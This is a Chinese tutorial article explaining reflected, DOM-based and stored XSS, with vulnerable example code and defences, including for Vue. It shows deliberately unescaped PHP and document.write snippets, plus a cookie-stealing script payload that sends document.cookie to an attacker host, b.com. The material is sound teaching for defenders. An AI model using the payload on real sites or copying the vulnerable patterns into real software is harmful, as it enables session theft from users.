什么是XSS攻击，我们又该如何防范?
什么是XSS?
XSS，全称为Cross Site Scripting，意思是跨站脚本攻击，为了与层叠样式表（CSS：Cascading Style Sheets）区分，故其缩写改为XSS。
XSS攻击的原理是恶意攻击者在Web页面里插入恶意脚本，当用户浏览该页面时，嵌入的脚本代码会被执行，从而达到攻击目的。通常攻击者会通过XSS攻击来盗取用户隐私信息。
XSS漏洞分类
攻击者之所以有可乘之机，就是因为Web系统存在可以被XSS攻击利用的漏洞。XSS漏洞主要分为持久型XSS漏洞和非持久性XSS漏洞。
非持久性XSS漏洞是指 用于攻击的XSS脚本不会被后端持久化保存在服务器上或数据库里面，攻击方式也不止一种，比如DOM XSS漏洞、反射性漏洞等。
DOM XSS
DOM-based XSS漏洞是基于文档对象模型（DOM: Document Object Model)的一种漏洞，通常是通过url传入参数来控制触发的。比如网页上有这么一段javascript代码：
<script>
document.write(location.href.substring(location.href.indexOf('default=') + 8));
</script>这段代码的本意是：取出url里的default参数的值，然后显示到页面上。但这样会带来一个问题：如果default的值是一段包裹在script标签里的js代码，也会被加载执行。
基于这个漏洞，攻击者可以设计一个诱导用户点击的url：
http://www.a.com?default=<script>window.open("www.b.com?param="+document.cookie)</script>
一旦用户的浏览器打开了这个url，就会运行这行脚本：
window.open("www.b.com?param="+document.cookie)
也就是打开b.com网站，将用户的cookie信息发送到b.com。b.com就是攻击者搭建的网站，当b.com网站接收到该信息时，攻击者就盗取了用户的cookie信息。
反射性漏洞
DOM XSS漏洞的攻击是完全基于浏览器的，基于发射性漏洞的攻击还会经过后端，其攻击路径是：从浏览器到后端，再反射到浏览器上。
下面这个php代码的页面，就是一个反射性XSS攻击的演示。
<form action=''' method=''get'>
<input type="text" name="xss"/>
<input type="submit" value="test">
</form>
<?php
$xss = @$_GET['xss'];
if($xss !== null){
echo $xss
}
?>这段代码中首先包含一个表单，提交表单向后端发送 GET 请求，带一个名为xss的参数。
PHP代码会读取xss参数，如果不为空，则直接打印出来。如果xss中存在 HTML 结构性的内容，打印之后会被浏览器直接渲染为 HTML 元素。
我们直接在表单输入框中输入一个js代码，比如<script>alert('hack')</script>。提交以后，会弹出一个对话框，我们被攻击了。
此时我们再来看下浏览器中的HTML代码，发现已经被注入了脚本。
为了防止出现非持久性XSS漏洞，尽量做到以下几点：
- 尽量不要从url，document.referrer，document.forms 中获取数据直接渲染。
- 尽量不要使用 eval(), document.write()，document.writeln()，element.innerHTML，document.createElement() 等有可能执行XSS代码的方法。
- 对涉及DOM渲染的方法传入的字符串参数做转义，也就是破坏HTML语法，目的是只做展示而不会执行任何脚本。
持久性XSS漏洞
持久性XSS漏洞一般存在于表单提交等交互功能，如发帖、留言、提交文本信息等，攻击者将用于攻击的内容经过正常提交，进入数据库持久化保存。当前端页面通过后端从数据库中读出注入的代码后，浏览器恰好将其渲染执行。
比如在某博客网站上发文章，文章中包括一段可执行的代码<script>window.open("www.b.com?param="+document.cookie)</script>，这样一来所有打开这篇文章的人的cookie信息都会被发送到b.com上。
持久性XSS漏洞被攻击有以下几个必要条件：
- POST请求提交表单后端没做转义直接入库
- 后端从数据库中取出数据没做转义直接输出给前端
- 前端拿到后端数据没做转义直接渲染页面
防止出现持久性XSS漏洞，需要前后端的配合，要做到以下几点：
- 后端在数据入库时，不能相信任何前端数据，将所有的字段统一进行转义处理。
- 后端对返回给前端的数据统一进行转义处理。
- 前端在渲染页面的时候不能相信任何后端数据，任何字段都需要做转义处理。
它与SQL注入攻击类似，SQL注入攻击中以SQL语句作为用户输入，从而达到查询/修改/删除数据的目的，而在xss攻击中，通过插入恶意脚本，实现对用户游览器的控制，获取用户的一些信息。
与反射性攻击相比，持久性XSS漏洞攻击路径要更长：浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器。
总结
非持久型xss攻击是一次性的，仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接，用户访问该链接时，被植入的攻击脚本被用户浏览器执行，从而达到攻击目的。
非持久性XSS漏洞主要有以下几个特点：
- 不经过服务器储存
- 通常需要诱导用户点击恶意url
- 反馈率低，难以发现和修复
持久型xss攻击会把攻击者的数据存储在服务器端，攻击行为将伴随着攻击数据一直存在。
现在国内比较流行的前端开发框架是vue框架。如果使用vue框架来开发前端应用，那么要防止XSS攻击需要注意以下两点：
- 尽量使用插值表达式{{}}，它会把要显示的内容转为字符串。
- 如果使用v-html，要保证来自服务端的渲染数据都是安全的。